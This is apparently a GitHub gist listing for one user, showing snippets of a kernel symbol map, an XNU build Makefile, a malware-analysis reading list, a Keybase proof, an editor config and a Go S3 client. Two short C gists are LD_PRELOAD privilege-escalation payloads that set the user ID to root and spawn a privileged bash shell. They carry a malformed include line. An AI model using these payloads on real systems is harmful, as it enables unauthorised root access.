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Lucas Amorim lucasallan

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lucasallan / Makefile.xnudeps
Created December 31, 2020 01:24
# -*- mode: makefile;-*-
#
# Apple XNU build prep
# Jeremy C. Andrus
#
# This Makefile contains commands necessary to download
# and build the XNU kernel for macOS High Sierra through
# Mojave. It will not actually build XNU, but it will
# build and install all of the prerequisites.
#
@lucasallan
lucasallan / gist:e9054bea7903fad126f7a944388e99ad
Created August 11, 2020 00:31
This file has been truncated, but you can view the full file.
0000000000000000 A irq_stack_union
0000000000000000 A __per_cpu_start
0000000000004000 A init_tss
0000000000004000 A __per_cpu_user_mapped_start
0000000000007000 A exception_stacks
000000000000c000 A gdt_page
000000000000d000 A kaiser_scratch
000000000000d010 A spec_ctrl_pcp
000000000000d040 A kaiser_enabled_pcp
000000000000d080 A cpu_debug_store
@lucasallan
lucasallan / ld_library_path.c
Last active December 13, 2019 04:41
#include <stdio.>
#include <sys/types.h>
#include <stdlib.h>
static void hack() __attribute__((constructor));
void hack(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
@lucasallan
lucasallan / preload.c
Last active December 13, 2019 04:36
preload.c
#include <stdio.>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
@lucasallan
lucasallan / malware.md
Created April 7, 2018 20:44 — forked from blackfist/malware.md
Recommended reading for malware analysis
  1. http://computer-forensics.sans.org/blog/2010/11/12/get-started-with-malware-analysis
  2. http://zeltser.com/malware-analysis-toolkit/
  3. http://zeltser.com/vmware-malware-analysis/
  4. http://computer-forensics.sans.org/blog/2010/10/11/3-phases-malware-analysis-behavioral-code-memory-forensics/
  5. BotMiner: Clustering Analysis of Network Traffic for Protocol- and Structure-Independent Botnet Detection https://www.usenix.org/legacy/event/sec08/tech/full_papers/gu/gu.pdf
  6. Mining the Network Behavior of Bots http://isg.rhul.ac.uk/sullivan/pubs/tr/2009-12.pdf
  7. Behavioral Clustering of HTTP-Based Malware and Signature Generation Using Malicious Network Traces https://www.usenix.org/legacy/event/nsdi10/tech/full_papers/perdisci.pdf
  8. From Throw-Away Traffic to Bots: Detecting the Rise of DGA-Based Malware https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final127.pdf
  9. Obfuscation of executable code to improve resistance to static disassembly http://www.cs.arizona.edu/~debray/Pub
@lucasallan
lucasallan / list.md
Created July 4, 2017 21:21 — forked from infoslack/list.md
Books for SRE/System Engineer
@lucasallan
lucasallan / keybase.md
Created April 24, 2017 16:11

Keybase proof

I hereby claim:

  • I am lucasallan on github.
  • I am lucasa (https://keybase.io/lucasa) on keybase.
  • I have a public key ASALx1cBTDTtDeNmQ85Wv40BePGxdqerkX5uU27TTljZgwo

To claim this, I am signing this object:

@lucasallan
lucasallan / spacemacs
Last active March 17, 2017 18:20
;; -*- mode: emacs-lisp -*-
;; This file is loaded by Spacemacs at startup.
;; It must be stored in your home directory.
(defun dotspacemacs/layers ()
"Configuration Layers declaration.
You should not put any user code in this function besides modifying the variable
values."
(setq-default
;; Base distribution to use. This is a layer contained in the directory
@lucasallan
lucasallan / main.go
Created February 9, 2017 00:02 — forked from dragonfax/main.go
example Riak CS (s3 API) client using aws-sdk-go
package main
import (
"bytes"
"fmt"
"io/ioutil"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/credentials"
"github.com/aws/aws-sdk-go/service/s3"
@lucasallan
lucasallan / main.go
Created February 9, 2017 00:02 — forked from dragonfax/main.go
example Riak CS (s3 API) client using aws-sdk-go
package main
import (
"bytes"
"fmt"
"io/ioutil"
"github.com/aws/aws-sdk-go/aws"
"github.com/aws/aws-sdk-go/aws/credentials"
"github.com/aws/aws-sdk-go/service/s3"